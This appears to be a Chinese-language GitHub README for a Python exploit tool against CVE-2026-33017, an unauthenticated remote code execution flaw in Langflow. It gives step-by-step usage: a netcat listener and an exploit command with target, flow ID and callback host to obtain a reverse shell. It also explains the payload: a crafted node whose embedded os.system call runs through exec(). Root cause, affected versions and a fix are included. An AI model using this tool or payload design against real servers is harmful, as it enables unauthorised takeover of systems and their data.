c0gnit00/CVE-2026-33017
GitHub: c0gnit00/CVE-2026-33017
针对 Langflow 未授权 RCE 漏洞(CVE-2026-33017)的 Python 自动化利用脚本,可通过公开 flow 端点远程执行任意代码并获取反弹 Shell。
Stars: 2 | Forks: 0
# CVE-2026-33017 - Langflow 未授权 RCE
## 概述
**CVE-2026-33017** 是 [Langflow](https://github.com/langflow-ai/langflow)(一个用于构建 LangChain 应用的可视化框架)中的一个未授权远程代码执行漏洞。
`POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint 允许在未经身份验证的情况下构建公开 flow。当提供可选的 `data` 参数时,该 endpoint 会使用攻击者控制的 flow 数据(在节点定义中包含任意 Python 代码),而不是数据库中存储的 flow 数据。此代码在没有任何沙盒隔离的情况下被传递给 `exec()` 执行,从而导致未授权的远程代码执行。
### 受影响版本
- Langflow <= 1.7.3
- 在 Langflow >= 1.8.2 中已修复
### 利用前提条件
1. 目标 Langflow 实例至少有**一个公开 flow**(这在演示、聊天机器人、共享工作流中很常见)
2. 攻击者知道公开 flow 的 UUID(可通过共享链接/URL 发现)
3. 无需身份验证 —— 只需要一个 `client_id` cookie(可以是任意字符串值)
## 安装说明
```
git clone https://github.com//CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
```
## 使用方法
### 1. 设置监听器
在您的攻击机器上,启动一个 netcat 监听器来接收反弹 shell:
```
nc -lvnp 4444
```
### 2. 运行 exploit
```
python3 CVE-2026-33017.py --url http://target:7860 --flow-id --lhost --lport 4444
```
### 参数
| 参数 | 是否必填 | 描述 |
|----------|----------|-------------|
| `--url` | 是 | 目标 URL(例如:`http://localhost:7860`) |
| `--flow-id` | 是 | 公开 flow UUID |
| `--lhost` | 是 | 您的监听器 IP 地址 |
| `--lport` | 是 | 您的监听器端口 |
| `--timeout` | 否 | 请求超时时间(秒)(默认:15) |
### 示例
```
# Terminal 1: 启动 listener
nc -lvnp 4444
# Terminal 2: 触发 exploit
python3 CVE-2026-33017.py \
--url http://192.168.1.100:7860 \
--flow-id 550e8400-e29b-41d4-a716-446655440000 \
--lhost 10.0.0.5 \
--lport 4444
```
## 工作原理
1. **`craft_malicious_node()`** — 构造一个包含 `CustomComponent` 的恶意 Langflow 节点,其中带有攻击者控制的 Python 代码。该代码包含一个顶层的 `os.system()` 调用,会在图构建期间(甚至在 flow “运行”之前)执行。
2. **`fire_payload()`** — 将恶意节点以 JSON 格式发送到未经身份验证的 `build_public_tmp` endpoint,并附带一个随机的 `client_id` cookie。
3. **代码执行** — 服务器解析攻击者提供的 flow 数据,实例化自定义组件,并在 `prepare_global_scope()` 期间对内嵌代码调用 `exec()`。顶层赋值语句 `_r = __import__('os').system(...)` 会立即触发命令执行。
4. **反弹 Shell** — payload 会生成一个 Python 反弹 shell,连接回您的监听器。
## 漏洞详情
### 根本原因
`build_public_tmp` endpoint 被设计为无需身份验证(用于公开 flow),但它错误地通过 `data` 参数接受了攻击者提供的 flow 数据。当提供 `data` 时,它会绕过存储的 flow 数据,并将攻击者控制的节点直接传递给图构建器。
### 建议修复方案
从 `build_public_tmp` 中移除 `data` 参数。公开 flow 应该只执行数据库中存储的 flow 数据,绝不能执行攻击者提供的数据。
## 参考文献
- [NVD - CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017)
- [Langflow Release 1.8.2](https://github.com/langflow-ai/langflow/releases/tag/1.8.2)
## 许可证
本项目仅供教育和授权的安全测试目的使用。
标签:CISA项目, Python, RCE, 威胁模拟, 无后门, 逆向工具